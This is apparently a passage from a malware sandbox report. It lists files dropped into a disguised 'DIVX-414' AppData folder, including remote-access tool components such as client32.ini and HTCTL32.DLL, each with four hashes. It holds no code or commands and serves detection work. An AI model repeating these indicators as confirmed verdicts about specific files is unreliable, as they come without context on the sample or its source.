SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX-414\MSVCR100.dll

MD5 4b06e1117da0d7a8d4d5f4511d3ab843
SHA1 c4baa29f6912243e75f10de676d34658f95fc002
SHA256 5e4d3ff0e6d588a788f8ec0415c2a8e654c77d5e01b96f0110e5229d9f348617
SHA512 e71fcec7266613f16cf4c4c6b55901acddc926e30dde0b7273c573fdfa81c6e75dd74af365e7acee343fcad01ae994b65a8886e2c197713c63b4e73f3e3a01ac

C:\Users\Admin\AppData\Roaming\DIVX-414\msvcr100.dll

MD5 a72532314c76a7499dc195237904e008
SHA1 a79922172ac532128eeef537d13c069225555352
SHA256 7accb3d1ab09438ff282f58acc30d543661876435ec6a6855e7f8a817b5beed6
SHA512 6d3ca1100542475330033bd8620aa1348b197b68adbe8fa80e773827af9faac1b62cfda6d8ea76e250ff633353b85ac3436a7085cdfcff58c842f451b9658be5

C:\Users\Admin\AppData\Roaming\DIVX-414\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX-414\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX-414\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

C:\Users\Admin\AppData\Roaming\DIVX-414\HTCTL32.DLL

MD5 edbb1829892bfbd9c768eeaddfcb2bcb
SHA1 de8e0fd70ea6cc4e4c7c2e3d5d83a5c0e04f28e0
SHA256 5a82eb5f63412f73bde8c29b5ba039ff488b2a15882abefa2c0d48a81ca2ea5e
SHA512 56928c07e38f0722dc42cba6108a6936a70d919bb0b6547e17e38c92ed073cd9927557088b9f125b2cdd1eecc555227f3cf9d4d278f0aec4bd1d3ac4900d5ea9